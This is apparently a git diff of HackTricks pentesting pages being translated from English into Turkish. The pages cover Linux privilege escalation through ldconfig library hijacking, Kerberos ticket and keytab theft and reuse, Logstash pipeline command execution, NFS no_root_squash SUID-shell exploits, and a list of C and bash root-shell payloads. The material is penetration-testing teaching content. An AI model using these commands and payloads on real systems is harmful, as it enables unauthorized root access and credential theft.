Ve sonunda, yolu yükleyelim ve kütüphanenin nereden yüklendiğini kontrol edelim:
|
||||
```bash
|
||||
ldconfig -f fake.ld.so.conf
|
||||
|
||||
ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007fffa2dde000)
|
||||
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
linux-vdso.so.1 => (0x00007fffa2dde000)
|
||||
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
```
|
||||
|
||||
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
|
||||
**Gördüğünüz gibi, `ldconfig` üzerinde sudo ayrıcalıklarına sahip olmak aynı zafiyeti istismar etmenizi sağlar.**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,19 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
Bir linux makinesi, bir Active Directory ortamında da bulunabilir.
|
||||
|
||||
A linux machine can also be present inside an Active Directory environment.
|
||||
|
||||
A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.
|
||||
Bir AD'deki linux makinesi **farklı CCACHE biletlerini dosyalar içinde saklıyor olabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için biletin kullanıcı sahibi olmanız veya makine içinde **root** olmanız gerekir.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### AD enumeration from linux
|
||||
### Linux'tan AD enumeration
|
||||
|
||||
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.
|
||||
Linux'ta (veya Windows'ta bash'te) bir AD'ye erişiminiz varsa, AD'yi listelemek için [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) deneyebilirsiniz.
|
||||
|
||||
You can also check the following page to learn **other ways to enumerate AD from linux**:
|
||||
Linux'tan AD'yi listelemenin **diğer yollarını öğrenmek için** aşağıdaki sayfayı da kontrol edebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from
|
||||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in:
|
||||
FreeIPA, esasen **Unix** ortamları için Microsoft Windows **Active Directory**'ye açık kaynaklı bir **alternatif**dir. Active Directory'ye benzer yönetim için tam bir **LDAP dizini** ile bir MIT **Kerberos** Anahtar Dağıtım Merkezi'ni birleştirir. CA ve RA sertifika yönetimi için Dogtag **Sertifika Sistemi**'ni kullanarak, akıllı kartlar da dahil olmak üzere **çok faktörlü** kimlik doğrulamayı destekler. Unix kimlik doğrulama süreçleri için SSSD entegre edilmiştir. Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../freeipa-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Playing with tickets
|
||||
## Biletlerle Oynama
|
||||
|
||||
### Pass The Ticket
|
||||
|
||||
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:
|
||||
Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini bulabileceğiniz farklı yerleri** bulacaksınız, bir sonraki sayfada bu CCache bilet formatlarını Kirbi'ye (Windows'ta kullanmanız gereken format) nasıl dönüştüreceğinizi ve ayrıca bir PTT saldırısı nasıl gerçekleştireceğinizi öğrenebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### CCACHE ticket reuse from /tmp
|
||||
### /tmp'den CCACHE bilet yeniden kullanımı
|
||||
|
||||
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse.
|
||||
|
||||
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
|
||||
CCACHE dosyaları, **Kerberos kimlik bilgilerini** saklamak için kullanılan ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatı, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar.
|
||||
|
||||
Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, **ortam değişkenini ayarlayarak** yeniden kullanılabilir: `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir.
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
@ -52,79 +49,62 @@ krb5cc_1000
|
||||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### CCACHE bilet yeniden kullanımı anahtar halkasından
|
||||
|
||||
### CCACHE ticket reuse from keyring
|
||||
|
||||
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
|
||||
|
||||
To configure and use this tool, the steps below are followed:
|
||||
**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır.
|
||||
|
||||
Bu aracı yapılandırmak ve kullanmak için aşağıdaki adımlar izlenir:
|
||||
```bash
|
||||
git clone https://github.com/TarlogicSecurity/tickey
|
||||
cd tickey/tickey
|
||||
make CONF=Release
|
||||
/tmp/tickey -i
|
||||
```
|
||||
Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla çıkarılan biletleri saklayarak gösterecektir.
|
||||
|
||||
This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.
|
||||
### SSSD KCM'den CCACHE bilet yeniden kullanımı
|
||||
|
||||
### CCACHE ticket reuse from SSSD KCM
|
||||
|
||||
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
|
||||
|
||||
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
|
||||
SSSD, veritabanının bir kopyasını `/var/lib/sss/secrets/secrets.ldb` yolunda tutar. İlgili anahtar, `/var/lib/sss/secrets/.secrets.mkey` yolunda gizli bir dosya olarak saklanır. Varsayılan olarak, anahtar yalnızca **root** izinleriniz varsa okunabilir.
|
||||
|
||||
\*\*`SSSDKCMExtractor` \*\* komutunu --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **gizli bilgileri şifre çözecektir**.
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
**Kimlik bilgisi önbellek Kerberos blob'u, Mimikatz/Rubeus'a geçirilebilecek kullanılabilir bir Kerberos CCache** dosyasına dönüştürülebilir.
|
||||
|
||||
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.
|
||||
|
||||
### CCACHE ticket reuse from keytab
|
||||
|
||||
### Keytab'tan CCACHE bilet yeniden kullanımı
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
klist -k /etc/krb5.keytab
|
||||
```
|
||||
### /etc/krb5.keytab dosyasından hesapları çıkarın
|
||||
|
||||
### Extract accounts from /etc/krb5.keytab
|
||||
|
||||
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
|
||||
|
||||
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
|
||||
Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesap anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir.
|
||||
|
||||
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak belirlendiğinde, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır.
|
||||
```bash
|
||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||
# Output includes service principal details and the NT Hash
|
||||
```
|
||||
|
||||
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
|
||||
|
||||
Linux kullanıcıları için, **`KeyTabExtract`** RC4 HMAC hash'ini çıkarmak için işlevsellik sunar; bu, NTLM hash yeniden kullanımında kullanılabilir.
|
||||
```bash
|
||||
python3 keytabextract.py krb5.keytab
|
||||
# Expected output varies based on hash availability
|
||||
```
|
||||
|
||||
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
|
||||
|
||||
macOS'ta, **`bifrost`** anahtar dosyası analizi için bir araç olarak hizmet eder.
|
||||
```bash
|
||||
./bifrost -action dump -source keytab -path /path/to/your/file
|
||||
```
|
||||
|
||||
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
|
||||
|
||||
Çıkarılan hesap ve hash bilgilerini kullanarak, **`crackmapexec`** gibi araçlar kullanılarak sunuculara bağlantılar kurulabilir.
|
||||
```bash
|
||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -2,59 +2,55 @@
|
||||
|
||||
## Logstash
|
||||
|
||||
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine.
|
||||
Logstash, **logları toplamak, dönüştürmek ve iletmek** için **pipeline** olarak bilinen bir sistem kullanır. Bu pipeline'lar **giriş**, **filtre** ve **çıkış** aşamalarından oluşur. Logstash'ın ele geçirilmiş bir makinede çalışması ilginç bir durum ortaya çıkarır.
|
||||
|
||||
### Pipeline Configuration
|
||||
|
||||
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
|
||||
### Pipeline Yapılandırması
|
||||
|
||||
Pipeline'lar, pipeline yapılandırmalarının konumlarını listeleyen **/etc/logstash/pipelines.yml** dosyasında yapılandırılır:
|
||||
```yaml
|
||||
# Define your pipelines here. Multiple pipelines can be defined.
|
||||
# For details on multiple pipelines, refer to the documentation:
|
||||
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
|
||||
|
||||
- pipeline.id: main
|
||||
path.config: "/etc/logstash/conf.d/*.conf"
|
||||
path.config: "/etc/logstash/conf.d/*.conf"
|
||||
- pipeline.id: example
|
||||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
```
|
||||
Bu dosya, **.conf** dosyalarının, pipeline yapılandırmalarını içeren yerlerini ortaya koymaktadır. **Elasticsearch output module** kullanıldığında, **pipelines**'in genellikle **Elasticsearch kimlik bilgilerini** içerdiği yaygındır; bu kimlik bilgileri, Logstash'ın Elasticsearch'e veri yazma gereksinimi nedeniyle genellikle geniş yetkilere sahiptir. Yapılandırma yollarındaki joker karakterler, Logstash'ın belirlenen dizindeki tüm eşleşen pipeline'ları çalıştırmasına olanak tanır.
|
||||
|
||||
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory.
|
||||
### Yazılabilir Pipeline'lar ile Yetki Yükseltme
|
||||
|
||||
### Privilege Escalation via Writable Pipelines
|
||||
Yetki yükseltme girişiminde bulunmak için, öncelikle Logstash hizmetinin çalıştığı kullanıcıyı belirleyin, genellikle **logstash** kullanıcısıdır. Aşağıdaki kriterlerden **birini** karşıladığınızdan emin olun:
|
||||
|
||||
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria:
|
||||
- Bir pipeline **.conf** dosyasına **yazma erişiminiz** var **veya**
|
||||
- **/etc/logstash/pipelines.yml** dosyası bir joker karakter kullanıyor ve hedef klasöre yazabiliyorsunuz
|
||||
|
||||
- Possess **write access** to a pipeline **.conf** file **or**
|
||||
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
|
||||
Ayrıca, **birini** karşılamanız gereken bu koşullardan biri de olmalıdır:
|
||||
|
||||
Additionally, **one** of these conditions must be fulfilled:
|
||||
|
||||
- Capability to restart the Logstash service **or**
|
||||
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
|
||||
|
||||
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
|
||||
- Logstash hizmetini yeniden başlatma yeteneği **veya**
|
||||
- **/etc/logstash/logstash.yml** dosyasında **config.reload.automatic: true** ayarı var
|
||||
|
||||
Yapılandırmada bir joker karakter verildiğinde, bu joker karakterle eşleşen bir dosya oluşturmak, komut yürütmeye olanak tanır. Örneğin:
|
||||
```bash
|
||||
input {
|
||||
exec {
|
||||
command => "whoami"
|
||||
interval => 120
|
||||
}
|
||||
exec {
|
||||
command => "whoami"
|
||||
interval => 120
|
||||
}
|
||||
}
|
||||
|
||||
output {
|
||||
file {
|
||||
path => "/tmp/output.log"
|
||||
codec => rubydebug
|
||||
}
|
||||
file {
|
||||
path => "/tmp/output.log"
|
||||
codec => rubydebug
|
||||
}
|
||||
}
|
||||
```
|
||||
Burada, **interval** yürütme sıklığını saniye cinsinden belirler. Verilen örnekte, **whoami** komutu her 120 saniyede bir çalışır ve çıktısı **/tmp/output.log** dosyasına yönlendirilir.
|
||||
|
||||
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.
|
||||
|
||||
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
|
||||
**/etc/logstash/logstash.yml** dosyasında **config.reload.automatic: true** ayarı ile Logstash, yeni veya değiştirilmiş boru hattı yapılandırmalarını otomatik olarak algılayacak ve uygulayacaktır; yeniden başlatmaya gerek kalmadan. Eğer bir joker karakter yoksa, mevcut yapılandırmalarda değişiklikler yapılabilir, ancak kesintileri önlemek için dikkatli olunması önerilir.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -1,19 +1,18 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
|
||||
_ **/etc/exports** _ dosyasını okuyun, eğer **no_root_squash** olarak yapılandırılmış bir dizin bulursanız, o dizine **istemci olarak** **erişebilir** ve o dizin içinde **yerel** **root** gibi **yazabilirsiniz**.
|
||||
|
||||
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
|
||||
**no_root_squash**: Bu seçenek, istemcideki root kullanıcısına NFS sunucusundaki dosyalara root olarak erişim yetkisi verir. Bu da ciddi güvenlik sorunlarına yol açabilir.
|
||||
|
||||
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
|
||||
**no_all_squash:** Bu, **no_root_squash** seçeneğine benzer ancak **root olmayan kullanıcılara** uygulanır. Hayal edin, nobody kullanıcısı olarak bir shell'iniz var; /etc/exports dosyasını kontrol ettiniz; no_all_squash seçeneği mevcut; /etc/passwd dosyasını kontrol edin; root olmayan bir kullanıcıyı taklit edin; o kullanıcı olarak bir suid dosyası oluşturun (nfs kullanarak montaj yaparak). SUID'yi nobody kullanıcısı olarak çalıştırın ve farklı bir kullanıcıya dönüşün.
|
||||
|
||||
# Privilege Escalation
|
||||
# Yetki Yükseltme
|
||||
|
||||
## Remote Exploit
|
||||
## Uzaktan Sömürü
|
||||
|
||||
If you have found this vulnerability, you can exploit it:
|
||||
|
||||
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
|
||||
Bu güvenlik açığını bulduysanız, bunu sömürebilirsiniz:
|
||||
|
||||
- **O dizini** bir istemci makinesinde **montajlayarak**, ve **root olarak** montajlı klasöre **/bin/bash** ikili dosyasını kopyalayarak ve ona **SUID** hakları vererek, o bash ikili dosyasını **kurban** makinesinden çalıştırarak.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
@ -26,9 +25,7 @@ chmod +s bash
|
||||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
|
||||
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
|
||||
|
||||
- **O dizini** bir istemci makinesine **bağlamak** ve **root olarak** bağlı klasöre SUID izinlerini kötüye kullanacak derlenmiş yükümüzü kopyalamak, ona **SUID** hakları vermek ve **kurban** makineden o ikili dosyayı çalıştırmak (burada bazı [C SUID yüklerini](payloads-to-execute.md#c) bulabilirsiniz).
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
@ -42,61 +39,57 @@ chmod +s payload
|
||||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
|
||||
## Local Exploit
|
||||
## Yerel Sömürü
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
|
||||
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\
|
||||
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\
|
||||
> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_--
|
||||
> Makinenizden kurban makinesine bir **tünel oluşturabiliyorsanız, bu ayrıcalık yükseltmesini istismar etmek için Uzaktan versiyonu kullanmaya devam edebilirsiniz**.\
|
||||
> Aşağıdaki hile, dosya `/etc/exports` **bir IP gösteriyorsa** geçerlidir. Bu durumda **uzaktan istismarı kullanamayacaksınız** ve **bu hileyi kötüye kullanmanız gerekecek**.\
|
||||
> İstismarın çalışması için bir diğer gereklilik, **`/etc/export` içindeki dışa aktarmanın** **`insecure` bayrağını kullanmasıdır**.\
|
||||
> --_Eğer `/etc/export` bir IP adresi gösteriyorsa bu hilenin işe yarayıp yaramayacağından emin değilim_--
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls.
|
||||
Senaryo, yerel bir makinede monte edilmiş bir NFS paylaşımını istismar etmeyi içerir ve bu, istemcinin uid/gid'ini belirlemesine izin veren NFSv3 spesifikasyonundaki bir hatayı kullanır; bu da yetkisiz erişimi mümkün kılabilir. İstismar, NFS RPC çağrılarını sahtelemek için bir kütüphane olan [libnfs](https://github.com/sahlberg/libnfs) kullanmayı içerir.
|
||||
|
||||
### Compiling the Library
|
||||
|
||||
The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands:
|
||||
### Kütüphaneyi Derleme
|
||||
|
||||
Kütüphane derleme adımları, çekirdek sürümüne bağlı olarak ayarlamalar gerektirebilir. Bu özel durumda, fallocate sistem çağrıları yorum satırına alınmıştır. Derleme süreci aşağıdaki komutları içerir:
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
### Sömürü Gerçekleştirme
|
||||
|
||||
### Conducting the Exploit
|
||||
Sömürü, root ayrıcalıklarını artıran ve ardından bir shell çalıştıran basit bir C programı (`pwn.c`) oluşturmayı içerir. Program derlenir ve elde edilen ikili dosya (`a.out`), RPC çağrılarında uid'yi taklit etmek için `ld_nfs.so` kullanarak suid root ile paylaşıma yerleştirilir:
|
||||
|
||||
The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls:
|
||||
1. **Sömürü kodunu derleyin:**
|
||||
|
||||
1. **Compile the exploit code:**
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
2. **Sömürü paylaşımda yerleştirin ve uid'yi taklit ederek izinlerini değiştirin:**
|
||||
|
||||
2. **Place the exploit on the share and modify its permissions by faking the uid:**
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
3. **Root ayrıcalıkları kazanmak için sömürüyü çalıştırın:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
3. **Execute the exploit to gain root privileges:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
## Bonus: NFShell for Stealthy File Access
|
||||
|
||||
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
|
||||
## Bonus: NFShell ile Gizli Dosya Erişimi
|
||||
|
||||
Root erişimi elde edildikten sonra, sahipliği değiştirmeden (iz bırakmamak için) NFS paylaşımı ile etkileşimde bulunmak için bir Python betiği (nfsh.py) kullanılır. Bu betik, erişilen dosyanın uid'sini eşleştirerek, paylaşımda dosyalarla izin sorunları olmadan etkileşimde bulunmayı sağlar:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
@ -104,23 +97,20 @@ import sys
|
||||
import os
|
||||
|
||||
def get_file_uid(filepath):
|
||||
try:
|
||||
uid = os.stat(filepath).st_uid
|
||||
except OSError as e:
|
||||
return get_file_uid(os.path.dirname(filepath))
|
||||
return uid
|
||||
try:
|
||||
uid = os.stat(filepath).st_uid
|
||||
except OSError as e:
|
||||
return get_file_uid(os.path.dirname(filepath))
|
||||
return uid
|
||||
|
||||
filepath = sys.argv[-1]
|
||||
uid = get_file_uid(filepath)
|
||||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
|
||||
Run like:
|
||||
|
||||
Çalıştırın gibi:
|
||||
```bash
|
||||
# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,22 +1,19 @@
|
||||
# Payloads to execute
|
||||
# Yürütülecek Yükler
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bash
|
||||
|
||||
```bash
|
||||
cp /bin/bash /tmp/b && chmod +s /tmp/b
|
||||
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
|
||||
```
|
||||
|
||||
## C
|
||||
|
||||
```c
|
||||
//gcc payload.c -o payload
|
||||
int main(void){
|
||||
setresuid(0, 0, 0); //Set as user suid user
|
||||
system("/bin/sh");
|
||||
return 0;
|
||||
setresuid(0, 0, 0); //Set as user suid user
|
||||
system("/bin/sh");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
@ -27,9 +24,9 @@ int main(void){
|
||||
#include <sys/types.h>
|
||||
|
||||
int main(){
|
||||
setuid(getuid());
|
||||
system("/bin/bash");
|
||||
return 0;
|
||||
setuid(getuid());
|
||||
system("/bin/bash");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
@ -40,42 +37,38 @@ int main(){
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
char *const paramList[10] = {"/bin/bash", "-p", NULL};
|
||||
const int id = 1000;
|
||||
setresuid(id, id, id);
|
||||
execve(paramList[0], paramList, NULL);
|
||||
return 0;
|
||||
char *const paramList[10] = {"/bin/bash", "-p", NULL};
|
||||
const int id = 1000;
|
||||
setresuid(id, id, id);
|
||||
execve(paramList[0], paramList, NULL);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Yetki Yükseltmek İçin Bir Dosyayı Üzerine Yazma
|
||||
|
||||
## Overwriting a file to escalate privileges
|
||||
### Yaygın Dosyalar
|
||||
|
||||
### Common files
|
||||
- _/etc/passwd_ dosyasına şifreli kullanıcı ekleyin
|
||||
- _/etc/shadow_ dosyasında şifreyi değiştirin
|
||||
